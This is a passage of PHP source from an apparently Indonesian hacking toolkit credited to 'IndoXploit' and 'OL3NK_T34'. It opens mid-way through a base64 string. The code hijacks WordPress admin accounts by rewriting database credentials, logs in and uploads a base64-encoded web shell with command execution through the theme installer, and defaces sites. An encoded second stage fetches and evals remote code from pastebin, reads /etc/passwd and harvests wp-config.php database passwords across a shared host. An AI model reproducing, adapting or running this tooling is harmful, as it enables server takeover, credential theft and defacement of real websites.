PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
$write = fwrite($f2, base64_decode($sml_db));
if ($write) {
@chmod('s/db.php', 0755);
}
echo "</br></br><center><b>GO TO : <a href='s/db.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
}
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk1')) {
?>
<form action="?&amp;idb=olenk1" method="post">
<?php
//Tu5b0l3d
//IndoXploit
//recode by OL3NK_T34
@session_start();
@error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
   if($_POST){
      $host = $_POST['host'];
      $username = $_POST['username'];
      $password = $_POST['password'];
      $db = $_POST['db'];
      $dbprefix = $_POST['dbprefix'];
      $user_baru = $_POST['user_baru'];
      $password_baru = $_POST['password_baru'];
      $prefix = $db.".".$dbprefix."users";
       $tanya = $_POST['tanya'];
       $target = $_POST['target'];
       $nick = $_POST['nick'];
      $pass = md5("$password_baru");
      

      mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
      mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");

      $tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
         $r=mysql_fetch_array($tampil);
        $id = $r[ID];

         mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");

         


         if($tanya=="y"){

   function ambilKata($param, $kata1, $kata2){
   if(strpos($param, $kata1) === FALSE) return FALSE;
   if(strpos($param, $kata2) === FALSE) return FALSE;
   $start = strpos($param, $kata1) + strlen($kata1);
   $end = strpos($param, $kata2, $start);
   $return = substr($param, $start, $end - $start);
   return $return;
}

   function anucurl($sites){
      $ch1 = curl_init ("$sites");
curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch1);
return $data;
   }

   function lohgin($cek, $web, $userr, $pass){
      $post = array(
               "log" => "$userr",
               "pwd" => "$pass",
               "rememberme" => "forever",
               "wp-submit" => "Log In",
               "redirect_to" => "$web/wp-admin/",
               "testcookie" => "1",
               );
$ch = curl_init ("$cek");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data6 = curl_exec ($ch);
return $data6;
   }

$site= "$target/wp-login.php";
$site2= "$target/wp-admin/theme-install.php?upload";
$a = lohgin($site, $target, $user_baru, $password_baru);
$b = lohgin($site2, $target, $user_baru, $password_baru);
         

$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
echo "# token -> $anu2<br>";


$olenk1 = base64_decode("TU9ERSBJREJURUFNDQo8P3BocA0KJGZpbGUzID0gJF9GSUxFU1snZmlsZTMnXTsNCiAgJG5ld2ZpbGUzPSJpZGIucGhwIjsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKSkgdW5saW5rKCIuLi8uLi8uLi8uLi8iLiRuZXdmaWxlMyk7DQogICAgICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZTNbJ3RtcF9uYW1lJ10sICIuLi8uLi8uLi8uLi8kbmV3ZmlsZTMiKTsNCg0KPz4NCjw/cGhwDQppZihpc3NldCgkX0dFVFsnb2xlbmsnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9InJlZCI+U3lzdGVtIE9TIDogPC9mb250Pjxmb250IGNvbG9yPSJnb2xkIj4nLnBocF91bmFtZSgpLic8L2ZvbnQ+PC9icj4nOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCmZvcmVhY2goJF9QT1NUIGFzICRrZXk9PiR2YWx1ZSl7DQokX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsNCn0NCn0NCmVjaG8gJzwhRE9DVFlQRSBIVE1MPg0KPEhUTUw+DQo8c3R5bGU+DQpib2R5ew0KYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmFuOw0KYmFja2dyb3VuZDojMDAwOw0KYmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXI7DQpiYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6Zml4ZWQ7DQpiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7DQp9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpCT1JERVItUklHSFQ6IzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6IzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjojMWIxYjFiOw0KZm9udDpGaXhlZHN5cyBib2xkOw0KY29sb3I6IHJlZDsNCn0NCjwvc3R5bGU+DQo8SEVBRD4NCjxCT0RZPg0KPGZvbnQgY29sb3I9InJlZCI+Q3VycmVudCBQYXRoIDogPC9mb250Pic7DQppZigkX0dFVFsnb2xlbmsnXSl7DQokcGF0aCA9ICRfR0VUWydvbGVuayddOw0KfWVsc2V7DQokcGF0aCA9IGdldGN3ZCgpOw0KfQ0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7DQokcGF0aHMgPSBleHBsb2RlKCcvJywkcGF0aCk7DQpmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpew0KaWYoJHBhdCA9PSAiIiAmJiAkaWQgPT0gMCl7DQokYSA9IHRydWU7DQplY2hvICc8YSBocmVmPSI/b2xlbms9Ij4vPC9hPic7DQpjb250aW51ZTsNCn0NCmlmKCRwYXQgPT0gIiIpIGNvbnRpbnVlOw0KZWNobyAnPGEgaHJlZj0iP29sZW5rPSc7DQpmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KZWNobyAiJHBhdGhzWyRpXSI7DQppZigkaSAhPSAkaWQpIGVjaG8gIi8iOw0KfQ0KZWNobyAnIj48Zm9udCBjb2xvcj0ibGltZSI+Jy4kcGF0Lic8L2E+LzwvZm9udD4nOw0KfQ0KZWNobyAnPC90ZD48L3RyPjx0cj48dGQ+PC9icj4NCjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+DQpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIi8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIi8+DQo8L2Zvcm0+PC9icj4nOw0KaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7DQppZihjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXsNCmVjaG8gJzxjZW50ZXI+PGZvbnQgY29sb3I9ImdyZWVuIj5VcGxvYWQgU3VjY2Vzcy4gOnY8L2ZvbnQ+PC9icj48Zm9udCBjb2xvcj0id2hpdGUiPkZpbGUgVXBsb2FkZWQgdG8gOiA8L2ZvbnQ+PGZvbnQgY29sb3I9ImxpbWUiPicuJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddLic8L2ZvbnQ+PC9jZW50ZXI+JzsNCn1lbHNlew0KZWNobyAnPGNlbnRlcj48Zm9udCBjb2xvcj0icmVkIj5VcGxvYWQgRmFpbGVkLiA6djwvZm9udD48L2NlbnRlcj48YnIvPic7DQp9DQp9DQppZihpc3NldCgkX0dFVFsnb2xlbmsnXSkpew0KZWNobyAnPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUiPg0KPC9mb3JtPic7DQoNCmlmKGlzc2V0KCRfUE9TVFsnY21kJ10pKXsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsNCiRjbWQ9JF9QT1NUWydjbWQnXTsNCiRva2UgPSBzaGVsbF9leGVjKCIkY21kIik7DQplY2hvICI8dGV4dGFyZWEgIGNvbHM9MzAgcm93cz0zMDs+JG9rZTwvdGV4dGFyZWE+IjsNCn0NCn0NCmVjaG8gJzxjZW50ZXI+PGZvbnQgY29sb3I9IndoaXRlIj5Nb2RlIEJ5IDogPC9mb250Pjxmb250IGNvbG9yPSJyZWQiPk9MM05LX1QzNDwvZm9udD48L2NlbnRlcj4nOw0KfWVsc2V7DQplY2hvICI8L3A+PC9wPjwvcD48L3A+PGNlbnRlcj5IYWNrZWQgQnkgOiBPTDNOS19UMzQ8L2NlbnRlcj4iOw0KfQ0KfQ0KPz4=");
 
$olenk2 = "olenk.php";
$fp5 = fopen($olenk2,"w");
fputs($fp5,$olenk1);    
  $post2 = array(
               "_wpnonce" => "$anu2",
               "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
               "themezip" => "@olenk.php",
               "install-theme-submit" => "Install Now",
               );
$ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data3 = curl_exec ($ch);

$namafile = "olenk_idbteam.php";
$fp2 = fopen($namafile,"w");
fputs($fp2,$nick);

$y = date("Y");
$m = date("m");


$ch6 = curl_init("$target/wp-content/uploads/$y/$m/olenk.php");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS,
array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
$postResult = curl_exec($ch6);
curl_close($ch6);

$as = "$target/idb.php";
$bs = file_get_contents($as);
 if(preg_match("#hacked by OL3NK_T34#si",$bs)){
                        echo "# <font color='green'>berhasil mepes...</font><br>";
                        echo "# $target/idb.php<br>";
                    }
                    else{
                        echo "# <font color='red'>gagal mepes...</font><br>";
                        echo "# <font color='green'>jika token muncul Hasil injectnya di mari :</font><br>";                                       echo "# $target/wp-content/uploads/$y/$m/olenk.php?olenk<br>";
                        echo "# jika ga muncul coba manual : <br>";
                        echo "# $target/wp-login.php<br>";
                        echo "# username: $user_baru<br>";
                        echo "# password: $password_baru<br>";

                       
                    }




      }

      elseif($tanya=="n"){
         echo "# Sukses<br>";
            echo "# username: $user_baru<br>";
            echo "# password: $password_baru<br>";
      }



   }else{
         echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ WP 1N73CT ]]=-</b></th></center></tr>';
echo '<tr><td>host</td><td><input class=olenk type=text size=40 name="host" value="localhost"></td></tr>';
echo '<tr><td>db name</td><td><input class=olenk type=text size=40 name="db"></td></tr>';
echo '<tr><td>db user</td><td><input class=olenk type=text size=40 name="username"></td></tr>';
echo '<tr><td>db pass</td><td><input class=olenk type=text size=40 name="password"></td></tr>';
echo '<tr><td>db prefix</td><td><input class=olenk type=text size=40 name="dbprefix"></td></tr>';
echo '<tr><td>user baru</td><td><input class=olenk type=text size=40 name="user_baru"></td></tr>';
echo '<tr><td>pass baru </td><td><input class=olenk type=text size=40 name="password_baru"></td></tr>';
echo '<tr><td>auto inject</td><td><input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n </td></tr>';
echo '<tr><td>nick </td><td><input class=olenk type=text size=40 name="nick" value="hacked by OL3NK_T34"></td></tr>';
echo '<tr><td>target :</td><td><input class=olenk type=text size=40 name="target"></td></tr>';
echo '<tr><td><input class=olenk1 type=submit value="1n73ct"></td></tr>
</table>';

      }
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk2')) {
echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ WP AUTO</span> <span class='b8'>IN73CT ]:=O</span></b></nobr><br/><br/> ";
echo "</br></br><center><b><span class='b11'> Coba Cek : <a href='t/coli.php' target='_blank'>[+] DI MARI [+]</a></center></span></br>";
if (!is_dir('s')) {
$mk = @mkdir('t', 0777);
@fwrite($f, $c);
$f2 = @fopen('t/coli.php', 'w');
$sml_db = "PD9waHANCi8vVHU1YjBsM2QNCi8vSW5kb1hwbG9pdA0KLy9odHRwOi8vaW5kb3hwbG9pdC5ibG9nc3BvdC5jb20vMjAxNS8xMC9jb25maWctYW5kLWF1dG8tZGVmYWNlLWluLXdvcnBkcmVzcy5odG1sDQovL1JlY29kZSBieSBPTDNOS19UMzQgQk4tSURCVEVBTQ0KIA0KZXJyb3JfcmVwb3J0aW5nKDApOw0KIA0KY292ZXIoIkluZG9YcGxvaXQiKTsNCiANCmZ1bmN0aW9uIHNhdmUoJGRhdGEpew0KICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigiSW5kb1hwbG9pdC5odG0iLCAiYSIpIG9yIGRpZSgiY2FudCBvcGVuIGZpbGUiKTsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkZGF0YSk7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQp9DQogDQpmdW5jdGlvbiBhbnVjdXJsKCRzaXRlcyl7DQogICAgICAgICAgICAgICAgJGNoMSA9IGN1cmxfaW5pdCAoIiRzaXRlcyIpOw0KY3VybF9zZXRvcHQgKCRjaDEsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQgKCRjaDEsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQgKCRjaDEsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsNCmN1cmxfc2V0b3B0ICgkY2gxLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsNCmN1cmxfc2V0b3B0ICgkY2gxLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCmN1cmxfc2V0b3B0ICgkY2gxLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCmN1cmxfc2V0b3B0KCRjaDEsIENVUkxPUFRfQ09PS0lFSkFSLCdjb2tlcl9sb2cnKTsNCmN1cmxfc2V0b3B0KCRjaDEsIENVUkxPUFRfQ09PS0lFRklMRSwnY29rZXJfbG9nJyk7DQokZGF0YSA9IGN1cmxfZXhlYyAoJGNoMSk7DQpyZXR1cm4gJGRhdGE7DQogICAgICAgIH0NCiANCmZ1bmN0aW9uIGxvaGdpbigkY2VrLCAkd2ViLCAkdXNlcnIsICRwYXNzKXsNCiAgICAgICAgICAgICAgICAkcG9zdCA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsb2ciID0+ICIkdXNlcnIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwd2QiID0+ICIkcGFzcyIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJlbWVtYmVybWUiID0+ICJmb3JldmVyIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAid3Atc3VibWl0IiA9PiAiTG9nIEluIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmVkaXJlY3RfdG8iID0+ICIkd2ViL3dwLWFkbWluLyIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRlc3Rjb29raWUiID0+ICIxIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KJGNoID0gY3VybF9pbml0ICgiJGNlayIpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsNCmN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcG9zdCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCdjb2tlcl9sb2cnKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCdjb2tlcl9sb2cnKTsNCiRkYXRhNiA9IGN1cmxfZXhlYyAoJGNoKTsNCnJldHVybiAkZGF0YTY7DQogICAgICAgIH0NCiANCmZ1bmN0aW9uIGNvdmVyKCRpbmRvWHBsb2l0KXsNCiAgICAgICAgZWNobyAiPGNlbnRlcj48Zm9udCBzaXplPSc1cHgnPiBDcmVhdGVkIEJ5OiAkaW5kb1hwbG9pdDwvZm9udD48YnI+IjsNCiAgICAgICAgZWNobyAiaGFzaWwgYmlzYSBkaWxpaGF0IGRpIDxhIGhyZWY9J0luZG9YcGxvaXQuaHRtJyBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiBub25lJz5JbmRvWHBsb2l0Lmh0bTwvYT48L2NlbnRlcj48YnI+PGJyPjxicj4iOw0KfQ0KIA0KZnVuY3Rpb24gYW1iaWxLYXRhKCRwYXJhbSwgJGthdGExLCAka2F0YTIpew0KICAgICAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOw0KICAgICAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTIpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOw0KICAgICAgICAkc3RhcnQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTEpICsgc3RybGVuKCRrYXRhMSk7DQogICAgICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7DQogICAgICAgICRyZXR1cm4gPSBzdWJzdHIoJHBhcmFtLCAkc3RhcnQsICRlbmQgLSAkc3RhcnQpOw0KICAgICAgICByZXR1cm4gJHJldHVybjsNCn0NCiANCmV2YWwoYmFzZTY0X2RlY29kZShmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9UWNpRjJWcWgnKSkpOyANCiRhID0gZmlsZV9nZXRfY29udGVudHMoJy9ldGMvcGFzc3dkJyk7DQogICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkYSwgJGRhdGEpOw0KICAgIGZvcmVhY2goJGRhdGFbMV0gYXMgJHVzZXIpew0KJGJhY2EgPSBmaWxlX2dldF9jb250ZW50cygiL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCIpOw0KIA0KIC8qIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkdXNlci4nLSBjb25maWcudHh0Jyk7ICAqLw0KIA0KaWYoJGJhY2EhPSIiKXsNCiAgICAgICANCiANCi8qICRiID0gYGNwIC9ob21lLyR1c2VyL3B1YmxpY19odG1sL2luZGV4LnBocCAkdXNlci1pbmRleC50eHRgOyAqLw0KIA0KJGZpbGUxID0gIiR1c2VyLWNvbmZpZy50eHQiOw0KJGZwMiA9IGZvcGVuKCRmaWxlMSwidyIpOw0KZnB1dHMoJGZwMiwkYmFjYSk7DQogDQokZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZTEpOw0KIA0KIA0KZWNobyAkdXNlci4iLT4gc3Vrc2VzPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBhbWJpbGthdGEoJGZpbGUsIkRCX0hPU1QnLCAnIiwiJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1c2VybmFtZSA9IGFtYmlsa2F0YSgkZmlsZSwiREJfVVNFUicsICciLCInIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gYW1iaWxrYXRhKCRmaWxlLCJEQl9QQVNTV09SRCcsICciLCInIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiID0gYW1iaWxrYXRhKCRmaWxlLCJEQl9OQU1FJywgJyIsIiciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJwcmVmaXggPSBhbWJpbGthdGEoJGZpbGUsInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyX2JhcnUgPSAiYWRtaW4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXNzd29yZF9iYXJ1ID0gIjEyMzQ1NiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHByZWZpeCA9ICRkYi4iLiIuJGRicHJlZml4LiJ1c2VycyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1ZSA9ICRkYi4iLiIuJGRicHJlZml4LiJvcHRpb25zIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcyA9IG1kNSgiJHBhc3N3b3JkX2JhcnUiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbmljayA9ICJoYWNrZWQgQnkgT0wzTktfVDM0IEJOLUlEQiBURUFNIjsgLy9tdXN0ICJoYWNrZWQiDQogDQplY2hvICIjIERiIEhvc3Q6ICRob3N0PGJyPiI7DQplY2hvICIjIERiIHVzZXI6ICR1c2VybmFtZTxicj4iOw0KZWNobyAiIyBEYiBQYXNzd29yZDogJHBhc3N3b3JkPGJyPiI7DQplY2hvICIjIERiIG5hbWU6ICRkYjxicj4iOw0KZWNobyAiIyBUYWJsZV9QcmVmaXg6ICRkYnByZWZpeDxicj4iOw0KIA0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKSBvciBkaWUoIktvbmVrc2kgR2FnYWwiKTsNCiANCiAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllICgiU2FsYWggREIiKTsNCiANCiAgICAgICAgICAgICAgICAkdGFtcGlsPW15c3FsX3F1